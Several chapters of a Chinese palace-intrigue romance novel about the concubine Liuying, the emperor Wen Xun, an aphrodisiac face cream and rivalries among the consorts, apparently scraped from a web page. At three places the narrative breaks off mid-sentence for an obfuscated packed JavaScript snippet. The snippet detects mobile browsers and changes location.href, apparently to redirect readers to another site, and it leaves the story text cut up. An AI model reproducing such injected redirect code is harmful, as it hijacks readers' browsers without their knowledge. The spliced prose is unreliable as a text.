脑子里思忖怎么利用贤妃和太后反目成仇的计谋,顷刻化无。只剩是该挣开她转向里侧睡自己的觉,还是……还是该帮她把被子重新改好? 但还未等闻寻决定好,流萤就帮他做了决定。 流萤发现了比凉爽面料还叫人舒服的温度,正是来自闻寻的体温。她竟一把掀开被子,直接钻进了闻寻怀中! 闻寻愣在原地,凌空本想帮她盖被子的手已经无处安放,只要落下就是真正拥她入怀。 闻寻十分清醒,但呼吸却渐渐急促,他还从来不曾抱过谁睡觉,连陪着过夜的都几根手指都数得过来。 想到这,闻寻突然意识到,流萤好像已经在他这里开了很多先河。最重要的是,现在再想起来这些,他竟也没觉得多厌烦,甚至有些还想再试一试,就比如眼下的……拥抱。 他屏住呼吸,缓慢而僵直地落下手臂,一点点靠近褶皱的衣袖,一点点覆上那比他烫了不知多少倍的肩膀。 终于放松了呼吸,眼睛也回转到流萤脸上。挺俏的鼻,紧闭的眼,嘟囔的小嘴动来动去,和方才说狠话的样子判若两人,意外让人生怜。 尤其那一张一合的唇瓣,瞬间叫闻寻想起这是他吻过的。 柔软,清甜。 越看越能想象,和自己亲吻时就是这个样子。闻寻滑动了下喉头,脸也不自觉靠近,偷偷告诉自己,她不是嫌热吗?正好我的嘴唇也很凉。 本想浅尝辄止,但越凑近越难抽身。闻寻从未想过女人的嘴唇,会对他有这么大的吸引力。不,是只有流萤的唇。 听流萤浅浅热热的嘤咛扑在耳边,他忍不住轻咬上流萤的唇瓣,试图让她声音再轻些,可换来的却是耳边诱惑被无限放大。他再忍不住伸进齿贝,舌尖贪婪探索,吮着樱唇一点不想放开。 就连搭在流萤肩膀的手也渐渐上移,托住她的后脑,一点点往前送,好让他可以品尝到她的唇更深。 感受到流萤也渐渐有了回应,闻寻却突然变得心虚,止住了亲吻。轻轻放开流萤的唇,好似不想把好不容易睡着的她弄醒。但又吻得意犹未尽,便开始偷偷吻上流萤的鼻尖、脸蛋…… 嗯?这是什么味道? 闻寻鼻尖贴在流萤脸颊上,呼吸越来越重,吸入那股类似醉欢香的味道便越来越多! 虽然已经很淡很淡了,但是他对这个味道的记忆实在深入骨髓,只要一点点,就能立即认得出。 她怎么又沾上醉欢香了?江绮玉回了仁康宫养胎后,可就再没跟她有过接触了,到底在哪儿弄的? 闻寻还没想出个所以然,流萤小手就已胡乱伸过。像是对舒适温度突然离开的不满,摸摸索索攀附着,终于碰到了他的下颌,便又凑了上来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15347589|167831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 温热再度贴近,身体里渐渐熄火的情欲很快又涌了上来。但闻寻这次没有回应,强忍着胸前小猫儿一样的呼噜刮蹭,狠心扯过被子,硬塞在了二人中间。 闻寻知道流萤对此一定是不知情的,不然她进殿发现自己睡着了,就不会是窃喜的神色了。 既然不是她发自内心的投怀送抱,那他也不稀得要。 而且记得上次流萤误食醉欢香,虽然过程美妙,但她那下了床便一副只把自己当作解药的冷漠决绝模样,闻寻死不愿再看到! 于是彻夜难眠,连个被子都没得盖就那么硬撑到了天亮。 宫人进来伺候更衣,有两个本想在宠妃面前混个脸熟,不料进门就看见闻寻阴沉着脸,眼底乌青,忿忿看流萤的眼神能刀人,全都大气不敢喘,就怕牵连到自己身上。 流萤也纳闷,但她更困惑为什么自己一觉醒来,身子这么沉呢?若不是早上看见被子裹得严实,都得以为是闻寻昨晚对她下毒手了呢。 索性请求到汤泉里泡个澡再回去。反正他顶着这憔悴的样子出门,也会被人编排是自己缠了他一晚上没睡好觉,莫不如就亲自出面帮他们坐实。自己舒服了才是王道。 闻寻冷哼一声,拂袖而走。他没说不行,甘泉殿的奴才就没人敢拦流萤,只当是能拿捏住这个喜怒无常皇帝的狠人,真的出现了。全都毕恭毕敬。 注意到流萤对一直摆弄着那个用光了的粉盒,一个看似在这儿有些话语权的宫女,直接大着胆子与她搭话,“这是江美人带过来的香膏盒,奴婢看着样子精美,就没舍得扔。您要是也觉得好看,就拿回去,下次好叫尚服局给您也用这样的盒子装。” 流萤今早泡完澡又在铜镜前看到这个粉盒,确实有借走用用的心思。但那是因为嫔妃的胭脂大多都是尚服局统一发放,脂粉盒循环利用本来也没什么。 可现下突然听说是江绮玉的东西,流萤几乎是想也没想就附和着接下,“真挺好看的,那我就先拿走了,改天再叫人还一个给你。” “不过你们别说出去。她前两日在我宫中发生意外,如今正闹脾气,万一知道了不高兴,小气劲儿上来,别平白叫你们跟着吃瓜烙了。” 流萤说得诚恳,两个宫女也知道这是为他们着想,纷纷点头如捣蒜笑着应下。同样是得宠的主子,谁不愿意跟脾气好的打交道。 待穿戴妥帖一出来,就看见小福子已经在门口候着她了。 林保益白日跟着闻寻进进出出,他们不在的时候,里里外外几乎就是小福子和林保益跟前儿另一个得脸叫小顺子的小太监先作主,晚些再去林保益那儿汇报。 小福子和小顺子俩人边边大,都林保益亲自调教出来的秉性也大差不大。是以对方心里想什么,他俩可谓是搭一眼便知。 流萤现在风头正盛,小顺子其实也想往前靠靠,但最先跟流萤打上交道的是小福子,他明着撬不了行,就只能干眼红。 流萤对此也心知肚明,所以早在闻寻清早还未走出寝殿的时候,就有意无意地说了一嘴,等会儿要小福子送她回去。 同样是御前行走的角色,自然要选择向自己示过好的,来互帮互助。 “上次给你的茶包,皇上喝着可好?”流萤走在前面,随口问着。 “说起这个真得多谢才人了。每次皇上一劳累了,奴才就给煎一杯,保准过一会儿就能小憩片刻。这不今儿也是想着送才人回宫了,若方便就再给奴才哪两包呢。” 小福子人尖儿似的,自然听得出流萤这是也向他递出信儿了的意思。 茶包就是常联系的纽带。只要小福子有事儿,就可以用这个由头去银汉宫找她。 和聪明人对话就是简单,流萤满意点点头,就不再搭话了。从御花园穿过,一路上碰见的人不少,没必要给他们落下什么口舌。 小福子也懂得,一直保持着跟流萤差一身步的距离,直到临近玉瑶池,小福子习惯性提前向湖边张望,正巧看见了皇后阮箫筠和叶知秋,立即低声提醒流萤。 流萤疑惑望去,这俩人……怎么走到一起去了? 46. 奇妙关系 “给皇后娘娘请安,给叶修媛请安。”流萤没有退避的道理,大大方方走了过去。 但阁中二人却好似并不待见她。 尤其是阮箫筠,才听见有人走进的脚步,直接一扭身子躲得更远,自顾自望着空无一物的湖面,保持静默。丝毫不愿搭理来人,只觉得被打扰,连象征性的平身都没有说。 片刻后还是叶知秋先开了口,但也不是跟流萤对话,而是越过她,径直问了后面的小福子。“林保益给你放假了?有空跟贺才人出来闲逛。” 一句把他们俩人都贬损上,小福子即刻面露尬色,着实没料到叶知秋会当着下人面给流萤难堪。但转念想想,也确实是叶知秋一贯的说话风格,她阴阳起来,可是连皇上都敢呛。 忙不迭陪着笑脸,上前回话,“奴才哪儿敢呢。是皇上叫奴才跟贺才人回去取些安神茶的茶包,说是之前喝了有点效果。” 小福子故意没提甘泉殿一句,怕再给叶知秋添火气。 但闻寻哪天晚上传了谁侍寝这点事儿,始终躲不过宫里任何一双眼睛。好在叶知秋意不在此,只无所谓哼笑一声,就冲流萤点了点下巴,示意她坐过去说话。 “你有这好东西,怎么不想着给皇后娘娘也送点儿?” 叶知秋说话阴阳怪气,神色也是明晃晃地讽刺人。可如此张扬,反倒不像是要找自己麻烦了,而是像在故意说给阮箫筠听。 “娘娘自那日落水后,就总爱多想,寝食难安。你既有心把娘娘救上来,怎就再没多长点心思,多关怀关怀之后的事儿?” 阮箫筠闻言果然一怔,旋即扭过脸仔仔细细打量了流萤一番,终于和脑海中奋力拖自己上岸的人影重合,这才惊喜感叹道,“诶,是你啊!” 变脸之快,堪比六月天,叫流萤有些错愕。速速回忆与阮箫筠见过的两次面,好像确实是个直性子。再看过去时,她径直起身换了位置,一屁股坐到自己旁边的石凳上来。 “身子好了以后,姑母管得更严,竟叫我至今都还没空跟你说声谢谢。”阮箫筠眼中的开心不像假的。 流萤有些受宠若惊,但也能够理解,毕竟是还没不到十三岁的小姑娘,合该有些天真孩童模样儿。便柔声笑笑,“不过是人之常情,换作旁人也会伸以援手的,娘娘不必介怀。” “话虽如此,但毕竟是你救了我,而不是别的阿猫阿狗。”阮箫筠认真说着,伸手就往自己头顶上摸。 “这个给你,就当做我的谢礼。” 阮箫筠没有任何犹豫,就将头上最贵重的一支金凤九尾步摇摘下来,别到流萤发髻上。顿时给流萤吓了一跳,也不等步摇戴稳,忙一把扯下,重新交到了阮箫筠手上。 “娘娘,这可使不得,承您一句谢就足够了。” 九尾凤凰可是只有皇后才能佩戴的样式,她一个小小才人岂敢沾边?那不是等着叫人抓把柄呢么! 搁这儿跟自己玩恩将仇报?那这小丫头倒是挺会演。 流萤刚准备将方才给阮箫筠贴的烂漫标签撕个干净,就看见阮箫筠捏着步摇稍显疑惑,但迟疑片刻,好像也想到了流萤不肯收的原因。于是便又开始褪手上的玛瑙镯子。 叶知秋见状,轻轻拍了拍她的手,打断道,“您这些玩意儿是好,但如今银汉宫得的赏赐还少吗?” 她为什么能用如此轻松不见外的语气跟皇后说话? 流萤惊异于叶知秋与阮箫筠的亲密关系,这俩人不应该是死仇才对嘛。就算阮箫筠不知道叶知秋的秘密,叶知秋还能不知道闻景是不会给阮家任何一个人留活口的吗?这又是哪一招? 偷瞄过去,不料正对上叶知秋也在看自己,还说了一句更让她震惊的话。 “依我看,倒不如找个机会给贺才人晋晋位份。反正皇上也喜欢她,再加之你亲自开口,这事儿断没有不成的道理。” 叶知秋居然帮她跟皇后要位份?! 流萤立即跪下,诚惶诚恐说着不敢当的话,试图掩饰心中的惊讶与困惑。 若从闻景这层关系考虑,叶知秋确实有帮自己上位的义务,因为帮她也就是帮自己。地位越高、越好办事,这一点流萤很快就能想通。 但她仍然不解的是,叶知秋凭何能跟阮箫筠一句敬语都不用,直接你我相称。一点不像皇后与宫妃,反倒有些像自家姐妹? 而且看阮箫筠和她相处的随意样子,竟好像比跟贤妃在一起时还自在?! 那是否就表示,太后对叶知秋其实也不怎么设防? 毕竟太后对阮箫筠的看管,真可谓是铺天盖地。单从不让她跟嫔妾过多接触这一点就不难看出,完全是后宫那些麻烦人、麻烦事都有贤妃处理,她只需全须全尾地坐在中宫凤位上就可以了。 流萤知道叶知秋工部侍郎之妹的身世,知道当初还是太后钦点的叶知秋进宫,再加之她入宫后一直不得闻寻喜欢,没有诞下皇子的机会自然就不会对阮家有什么威胁。 应该就是这些原因,才让她渐渐在太后面前有了不可替代性,才让她即使在与世隔绝的保护层下,仍能靠到阮箫筠身边。 当然,叶知秋也是懂得利用太后的拉拢,知道要顺势与单纯的阮箫筠先处好关系,以备日后之需。毕竟要想在一个蜜罐里泡大的小屁孩身上找漏洞,可比老谋深算的太后容易多了。 流萤瞬间想到慈安宫小佛堂里有问题的异香。 慈安宫可是连贤妃都得先通传才能进的地方。那些熏香如果真是叶知秋下的手,除了趁和阮箫筠一同进去的时机,再没别的机会。 呵呵,如此看来,竟还是太后作茧自缚了。 流萤暗暗佩服,并且开始期待与叶知秋联手,一定能更快扳倒太后。 “你是几月生辰?” 头顶传来叶知秋继续发问的声音,流萤明白她的用意,生辰礼就是最好的机会。于是不再扭捏答道,“十二月十六。” “年终岁尾,正好能跟除夕一起封赏。”叶知秋转头对阮箫筠说,坚定语气仿佛这事儿已经板上钉钉。 阮箫筠也是给她面子,一副就照她说得办的模样努嘴点了点头,旋即叫流萤放心。“我素不爱欠人情,到时定叫表哥给你升一级。” 流萤委婉谢恩,倒不是觉得此事八字没一撇,而是有些后悔昨晚跟闻寻提的要求也是这个。这里里外外算下来,不就是少了一级嘛。 唉,吃亏! 谢了恩准备起身,流萤忽然从石桌底下,瞥见阮箫筠和叶知秋好像戴了一样的香囊!都是烟粉扁桃的外观,但上头的纹花纹离远看不太清,不能确认。 这是叶知秋送给阮箫筠的? 因为前有小佛堂异香的疑点,流萤下意识便认为这个香囊也有问题。她不光对太后下手,对阮箫筠也不放过吗? 可是自己也跟他们二人坐了许久,怎么一点头晕异样的感觉都没有呢?偷偷吸吸鼻子,也没闻到什么特别的味道,只有淡淡的桂花香,跟普通香囊没什么不同。难道还不是同一种毒? 流萤心中起疑,本打算谢了恩就走的,但这个香囊实在勾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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三年的宫闱生活,非但没把阮箫筠锻炼得卓尔不群、独当一面,就连做事至少要有的含而不露的心机都未能培养出半分。 是太后太舍不得这个小侄女,还是她就那么笃定自己能为阮箫筠撑起更广阔、更长久的天下? 流萤微不可见撇了撇嘴,可惜,也觉得可笑。 怪不得叶知秋会从阮箫筠下手,确实再没有比这更完美的突破口了。 “人总是不愿承担自己的过错,非要赖到别人身上才舒服。娘娘不必理会。”流萤宽慰道,“若宫中各处宫室都不修葺也不翻新,将作监无用缩员,到那时他们又要抱怨天家无情、不给他们饭吃了。” 流萤这话虽然有些强词夺理,但对阮箫筠来说却是金玉良言。 阮箫筠之所以时至今日还故地重游,纠结原因就是不想再有负罪感。只要说不怪她的人多了,时间久了便也不会再当回事儿了。 果然,阮箫筠听后连连点头,“就是啊!秋姐姐也这样说的,真是一群狡猾的家伙。” 秋姐姐?呵,竟连叶姐姐都不够亲。 流萤顺着阮箫筠的话也看向叶知秋,但目光却一点一点向腰间的香囊瞄去。确认两者花纹也相同后,便借口说还要抓紧时间回宫给小福子拿安神茶包,行礼离开了。 回去路上,流萤跟小福子有一搭没一搭打听起二人,得到模棱两可的回答,“可能是叶修媛性情也直的缘故,皇后娘娘除了跟闵才女天天玩儿在一处,还真就属叶修媛最能逗她笑了。” 嗯,倒也算是一种肯定。 等取了茶包匆匆送走小福子,流萤立刻喊宝珠去请贺九仪过来。宝珠闻言急切绕流萤转了一圈上看下看,问怎么了。 “我没事儿。你只要告诉他,我是侍寝过后有些不舒服,他就能明白了。” 47. 醉欢之秘 一碗浓浓药汁下肚,经过喉咙时还是灼热的,可到了一路到了肚子里却像是盛夏午后喝了口刚打上来的深井水,瞬间透凉到底。 见流萤下意识撇嘴抚上肚子,贺九仪眼中不免泛起苦涩,仿佛流萤的痛苦是因他而起一样。 微哑着声音说道,“这碗避子汤我只加了紫茄根、皂角刺、桃仁等温和些的药材,效果一样,但不会伤及根本。只要一月不喝超过三次,等哪日你改了主意,身孕一事依旧不受影响。我到时也会再给你开调理身体的方子。” 刚听宝珠传话时,贺九仪还以为是闻寻动作粗暴伤到了流萤,疮药都装好了,却突然想起流萤曾跟他求过避孕的法子。思虑再三,还是迅速抓了几把药材包好,一并装进了药箱。 流萤扯扯嘴角道了句多谢,“若是太医署的人问起,还请大人就说我也跟其他妃子一样,求的是滋阴养肾的方子,想调理调理身体,以便受孕。” 她将碗底最后一滴药汁嘬了个干净,而后又叮嘱一句,“等会儿跟宝珠也得这样说。她心思浅,装不下事儿。就算不漏出去,也得成天墨迹我,吵得头疼。” 贺九仪轻声应下,提醒这两日可能会腹痛发冷,都是正常的。“若实在难受,就传臣过来。臣即使不当值,平日也是宿在太医署的,才人尽可放心。” 一直宿在太医署? 难道是因为医正的月银太低,买不了长安一间房吗?毕竟贺九仪也才二十出头,全凭自己的话,属实是有些难度。 流萤如是想着,便准备借此机会多打听打听贺九仪的来历。 “有你夜夜留守,太医署其他人倒是省事儿了。我记得你说过祖上在苏州,那你如此大公无私,可是只身一人来长安的缘故?还是说你们早已安家在长安,不过家中尚有其他兄弟帮着照看父母,你才能这般兢业忙于宫中?” 贺九仪眨眨眼,有些意外流萤会对自己家事感兴趣,迟疑片刻还是老老实实讲了出来,只不过省去了一些不必要的信息。 “臣家中世代行医,六岁那年,父亲举家迁来长安,开了间医馆谋生,名叫悬济堂,现仍在城南。家中原本还有一……弟弟帮衬,未想几年前与友人登山竟不幸滚下山崖……” “后来臣进了太医署,也不能在医馆帮忙,父亲干脆就将医馆改为善堂了。每隔十天开一次义诊,平时若有来虚心求问的,父亲也多多少少教一些,但都点到为止。” “用父亲的话说,我如今在宫中当值,万事都得小心,若叫人知道我与他的这层关系,难保要被有心之人利用,徒增麻烦。” 这些话好似在贺九仪心中憋了很多年,一旦有了开头就像泄了闸的洪口,很难停下。 “你去过苏州吗?”贺九仪又问。 不过这句话一出口,他立刻意识到不妥。主子可以打听奴才,但奴才绝不该窥探主子。 于是连忙拱手称自己失言了。流萤却浅露梨涡,表示并不妨事,还认真回道,“只听说过江南一带皆是烟雨如诗、水乡如画。日后若有机会,定要去看看。” 无论是贺之遥,还是流萤本身,都不曾离开过渭州。长安才是她踏足过的第二片土地,流萤相信也绝不会是最后一片。江南水乡,或许也是个不错的落脚选择。 流萤把碗放到一旁,打趣着又将话题带了回来,“那你便是只有休沐的时候才回家了?还以为你是月银不够添房的,正准备多给些诊金呢。竟是我有眼不识泰山了。” 贺九仪闻言也跟着笑得赧然,微垂眼帘,秀净面容淡淡晕出些红色。有一些腼腆,但更多的还是像邻家大哥那样的实诚可靠。 仿佛有夕阳晃在他脸上,然后拍着胸脯跟自己说:妹子放心,晚饭前我一定帮你家把剩下的地都犁了! 虽然这些粗糙的画面永远不会在温驯有礼的贺九仪身上出现,但流萤就是忍不住将他与那道橙色光影重合,好像冥冥中有什么指引着她这么干一样。 其实流萤有揣测过贺九仪是觊觎自己的美貌、生了不该有的心思,才甘愿帮自己。 毕竟他初见自己时,那明显失了礼的晃神怅然,可是叫流萤捕捉个遍。尤其他那失神目光,就像结了网一样黏在自己脸上。 可流萤却选择视而不见,不仅看破不说破,还试图利用这份惊鸿一瞥来成全自己的计划。 但随着接触越来越深,她发现贺九仪对自己的在意和关怀,竟跟男人对女人的那种爱慕和占用,丝毫不搭边。 他看自己的眼神永远清澈真诚,不带任何情欲,仿佛真的只是想要关心、想要保护她而已。 犹记得扳倒关采曼那晚,贺九仪曾表明他是觉得跟随自己能再上一层楼,才愿意并肩作战。可是流萤审视着他的眼睛,却没见到丁点儿对胜利或金钱的渴望。显然没说实话。 于是流萤也继续揣着明白装糊涂。可今日,她居然从贺九仪眼中看到了心疼?! 这一反常态又叫人难以捉摸的情愫,也不知怎的,竟就让流萤猛然产生了一个异常大胆的猜想。 贺九仪能不能是透过自己,看到了谁的影子? 比如曾经的爱人? 所以对她的这份感情,更应该叫做想念? 若真是这样,好像许多地方就都说得通了…… 吱吖一声门响,打断了流萤思绪。是宝珠推门而入。她收拾好了煎药锅台,便贴心端来一盘蜜饯,想给流萤解苦。 流萤接过只捡一颗杏埔放进嘴里,嚼了两下便吩咐宝珠再去拿两包安神汤的茶包来。 说是要给贺九仪带回去留个记录,以防日后有人在里面做文章。毕竟安仪殿已经有一些人知道闻寻爱喝她这个茶了,还是谨慎些好。宝珠觉得很有道理,立即小跑出去。 贺九仪在旁看了却是一眼便知,流萤这是在故意支走宝珠。不然,为什么不在他一进门的时候就叫宝珠去取呢?她可不是会忘事儿的性子。 旋即收敛了神色,严肃问道还有什么事。 流萤一副不愧是你的夸赞笑容,从怀中掏出甘泉殿带回的脂粉盒递给贺九仪,“你帮我看看,这里头可有什么助孕的东西?” 江绮玉能那么快就怀上身孕,流萤觉得当中必有蹊跷。虽说闻寻召她侍寝的次数的确比旁人多了那么两回,但也绝称不上频繁。他若真那么行,宫中又岂会至今就只有两个孩子? 而且,甘泉殿的小宫女还悄悄透露过,江绮玉每次侍寝前都要涂自己带去的香膏,很难不让人怀疑里面有什么猫腻。 不料贺九仪闻了又闻,连盖子上仅剩的一点点粉膏,都扣了下来抹到手腕里侧。良久才皱眉摇头,神色古怪地说道,“虽然不是直接利于女子有孕的,但也是能在房事上助兴的。” 助……助兴? 难道又……又是媚药?! 流萤不禁想起上次在安仪殿,也是误食了江绮玉掺了□□的点心。这吃的和抹的,会是一种东西吗? 咚咚,流萤越想心越惊。她依稀记得那些点心好像也有橘皮味儿……忍不住啧叹出声。这会儿倒是想起来了,昨晚怎就没脑子了呢! 流萤埋怨一拍脑门,却突然想起,昨晚自己还往脸上涂了这香膏呢! 怪不得……不光自己头晕燥热睡不着,闻寻今早顶的大黑眼圈,肯定也是因为躺她旁边吸入了媚药受影响,才辗转难眠到天明。 可再一想又觉得不对,明明上次的药效那么猛,怎么昨晚二人却什么都没发生呢?而且自己也没难受到非要解药的地步……难不成是放太久、失效了? 于是满脸疑惑问贺九仪,“那香膏就剩这么一点点了,你能确定吗?” 贺九仪没有急着回答,而是将两只手腕都翻转过来,向上一摊送到流萤面前,“你看我左边手腕上的血脉是不是更深一些?还有附近的皮肉,是不是也更红一些?” 其实那块儿肌肤摸上去也是更烫一些,但于礼不合,贺九仪就没提。而且只靠那两点也是足够了。 流萤辨认着不同,机械点头。贺九仪便继续道,“这就是血脉受了刺激的表现,普通香膏绝不会有这样的效果。且你再扇扇风仔细闻,抛开浮在表面的果香,是不是还有种发苦,甚至还有一丝丝类似胡椒的辛辣味儿?” 对!没错,流萤再次点头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“可你不是……不想现在有身孕吗?” 贺九仪搞不懂流萤此举所为何故,不想要身孕、还偏要行房事?那不是白白折腾自己的身子吗! 他默然低下头,无论是出于医者对病患的负责,还是出于哥哥对妹妹的担忧,他都得拒绝。但还不等他想好说辞开口,流萤就先一步为自己解释上了。 “放心,我不会用的,只是想留一盒在身边。若日后再与江绮玉碰上,也算是有个能拿捏她一二的东西。” 流萤看出贺九仪的犹豫,说得更加恳切。 “我知道要想一模一样的肯定是天方夜谭,自不会为难你。就把你放才说的那些药材随便挑几样,只要里头有淫羊藿和橘皮就行,这俩才是一说出来就能震慑住她的东西。” 吱吖,又是一声门响。宝珠再次推门而入。她一手拿着茶包,另一手还攥了个绒布袋,有棱有角的,打眼就知道里头装了不少好东西。 流萤稍稍一愣,旋即勾唇笑着伸手接过。心想宝珠肯定是以为自己叫她出去是去拿赏钱了,然后全部交到了贺九仪手上。 “喏,快看看咱们宝珠姑娘多有进步,最是知道什么好东西该给什么人了。” 贺九仪还没有完全从方才的情绪里抽离出来,只好木然点头谢了恩。而后便起身开始收拾药箱,临出门的前一刻,才定定回头,“才人记得多休息,下次臣来,一定给才人调配效果更好的补药。” 流萤明白贺九仪说的是那盒香膏。他同意了。 且等等看吧,如果他真能复刻得出来,那小佛堂里的毒香是不是也能…… 流萤今日没有将叶知秋身上的疑点一并说给贺九仪,并非是不信任他,而是自己跟叶知秋牵扯的另一层关系太过危险,决不能让任何人觉察。至少现在还不能。 所以她准备先去藏经阁翻翻书,自行研究研究。等有了些眉目,再拿去问贺九仪,便不会轻易暴露。 未料等她过两日去了藏经阁,正巧碰见贵妃宋灵书,竟还有意外收获。 48. 贵妃莫测 隆冬十月的最后一天,万木凋敝,凛冽寒风裹挟着鹅毛雪花,在天地间肆意飞舞。没有人能想到今年的第一场雪就来得这样猛烈。 只一夜之间,宫檐北瓦都覆上了厚厚的白毯,朱红高墙也染得格外素净。 流萤睁眼便是一片银装素裹,雪后初晴的惊喜景象。 小时家穷壁薄,每每入冬,流萤就得有一半的时间都是在山中捡树枝度过。 运气好,还能碰上兔子打的窝。别看她人小,胆子却不小,徒手伸进去,一抓一个准。这便是他们一家为数不多的开荤了。是以四个季节里,流萤最爱的,就是兔子跑得最慢的深冬…… 遂也不等宝珠进来替她更衣,随手翻出一件厚重斗篷裹上,便小鹿一样雀跃出了房间。 她仰头站在松树下,感受风过吹动的细碎雪花,轻飘飘落在脸上,凉丝丝、痒滋滋的,叫人忍不住想打激灵,但却丝毫不觉得冷,只有终于不必再为吃食奔波的愉悦。 “主子?”小金子早早起来扫雪,听见脚步声匆匆寻了过来,看见流萤一个人站在树下笑,有些摸不到头脑。 “你喊宝珠去找几个罐子来,采些松针上的雪,回头咱们煎茶喝。”流萤好兴致吩咐道。 过去几年,闻景一到冬天就爱让她用松树或梅树上的落雪做冷泡茶,说那股清冽的松香、梅花香,才最是清雅。 起初流萤还当他是故意为难自己,后来跟着细细品了几回,确实是比热茶多了一丝清甜。没想到如今,自己竟也主动学起来了。 主仆三人相互接力,小金子爬树装雪,宝珠垫脚接罐子,流萤则不停递上新罐子。直忙到棵棵枝秃,才缓口气停下。此时几人身后,已有泛着金色的阳光一点点破云而出。 刚开始还像调皮小孩儿小心翼翼嵌开门缝,只漏出几缕细碎金光打个照亮。但仅在片刻后,那道门就被大力推开,光芒再没了阻挡,顷刻间便照亮整个院落。 好像只在一瞬间,枝头白雪便被晒得融化,一滴一滴顺着枝干滑落,落在封好盖的罐子上,发出轻轻的滴答声。 三人相视一笑,幸好动作够快。 雪霁天晴,这样难得的好天气,流萤自然不愿闷在屋子里。稍作收拾,给宝珠也换上鞋底加厚的棉靴,就往庆祥宫,想加上汪芷柔一起去藏经阁。 原本是带小金子去新地方更稳妥,但宝珠自己扫不了雪,内侍监也迟迟没给送新人来,只能留他在家清理,不然到了晚上,必定都冻成冰块儿,一走一打滑。 汪芷柔怕冷,本来都备好姜汤热茶躲一天的,但见流萤上门邀请,到底是姐妹相伴更重要。遂绒帽狐围裹得严严实实,活脱脱像头刚会走路的小熊,惹得流萤走一路笑一路,就差往她身上牵个绳儿拽着走了。 或许不止汪芷柔怕冷,正儿八经的官家小姐可能都不曾在踩一脚就湿一下的雪地里走过。这一路往藏经阁,除了忙着扫雪的宫人,竟一个当主子的影儿都没见到。 以至于二人都自请走进藏经阁大门了,才有个腿脚不利索的小太监一瘸一拐出来迎接。 小太监战战兢兢解释,说这种日子一般不会有人来,是以大家伙儿便都被内侍监抽调走扫雪去了。他是因为前两日爬高整理卷册摔坏了腿,才留下看着。 流萤见此也摆出体恤架势,叫小太监给指个放名师字画的方向,她们自己过去看看就行。小太监谢恩,却不敢怠慢,仍是领着她们一一介绍起来。 “藏经阁整体分三大馆,为文馆、墨馆和乐馆。” “文馆最大,多为文史经书,也包括工农商药等领域的重要典籍。其次是墨馆,有金石雕塑、书法绘画等诸多匠艺门类的大家作品。乐馆最小,但礼乐方面的手记和曲谱一点不少,很多绝唱孤本也尽在其中。” 小太监边说边带着二人走去了墨馆。层峦叠嶂的书架海里,扑面而来是沉甸甸的墨香与重累累的竹简味交织在一起。浓重、陈旧,但就着琉璃窗折进来的柔和光线,倒融合地格外接洽。 “你且在那儿等着吧。”流萤指了指专供主子翻阅书籍的木凳,“我们挨趟看看,找不到再问你。” 小太监连忙说不敢。 “放心吧,这大冷天儿的,谁还能来。” 流萤冲小太监挤了挤眉,像是一定会替他保密一样。小太监感恩笑笑,终是搭上木凳一角倚着另一只腿歇了片刻。 给下人这种小恩小惠,流萤很擅长,但这次不光是想让小太监记她个好,方便以后再来借书,更多的还是,她不想让小太监看见自己都翻了哪些东西。 虽说今日来找字画只是个借口,但流萤最近确实在画画上很下功夫。不单是因为闻寻常常督促,也是她越画越觉得有意思,用来当放空脑子的休闲活动,再好不过。 所以,即便只是装装样子,她也想好好挑两幅入眼的,拿回去挂着。于是挑挑拣拣,取了一幅看起来和闻寻的画很像的放到宝珠怀中。 而后重新唤来小太监,略带赧然说道,“这些真迹篇幅太大,学起来太难。不如带我去文馆转转,找几本类似《本草经》、《百花纪》那种,那上头的花花草草才都是简单几笔线条,更适合我一点点练起。” 这两本听起来像是讲花草的,实际上却是辨认各种野生草药、有毒花卉的医药典籍。 小太监对流萤的坦率感到新奇,难道她真如传闻中那样,只是个花瓶美人? 其实对于这个传闻,流萤自己也是有所耳闻。 因她每日都叫宝珠送二十页画纸到安仪殿,闻寻收到就打开,草草翻两页又嫌弃扔到一旁,一点不避人。久而久之,安仪殿中伺候的奴才们便开始传流萤想讨闻寻开心,奈何画工始终不入流,幸而那张脸万分美貌,才让闻寻大度不计,依旧宠她多过别人。 传舌的这些奴才,自然不知道一切皆是闻寻的要求,而流萤听了,也没觉得花瓶美人这个称号有什么不好。反正早在贤妃宴席上,皇后就用“没才没艺”给她定过性了。 留一些缺陷在旁人眼中,总好过完璧无瑕。 既然流萤已明确说出需求,小太监自没有不服从的道理,旋即便要进屋先简单规整一下再带他们往另一方向去。 忽而听见不远处传来一道端庄稳重的女声,“贺才人倒是有雅兴,临摹 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宋灵书通医理吗?还是也像自己一样,有目的的喜欢? 流萤不确定,但她知道无论哪一种情况,宋灵书都该避着点儿人才是。 因为没人愿意漏真本事给别人看,尤其是在这堪比虎穴龙潭的皇城宫中,琴棋书画那些也便罢了,除了自己美,很难害到人。 但像懂医理这档子事儿,可就太危险了,无事时说你会养生,一旦出了事简直百口莫辩。流萤今日不也是兜了一个大圈子才敢步入正题的吗,宋灵书怎就如此不避讳? 流萤越想不通,就越是偷瞄着宋灵书不肯放。见她略低着头,眼帘低垂,只剩一双黛眉传递情绪。 她的眉毛不是嫔妃间常见的细弯柳叶眉,而是眉峰饱满、毛流自然的远山眉,娴雅不失英气,却又不像贤妃故意挑高的吊梢眉那样过于凌厉,倒与她端庄内敛的气质相得益彰。 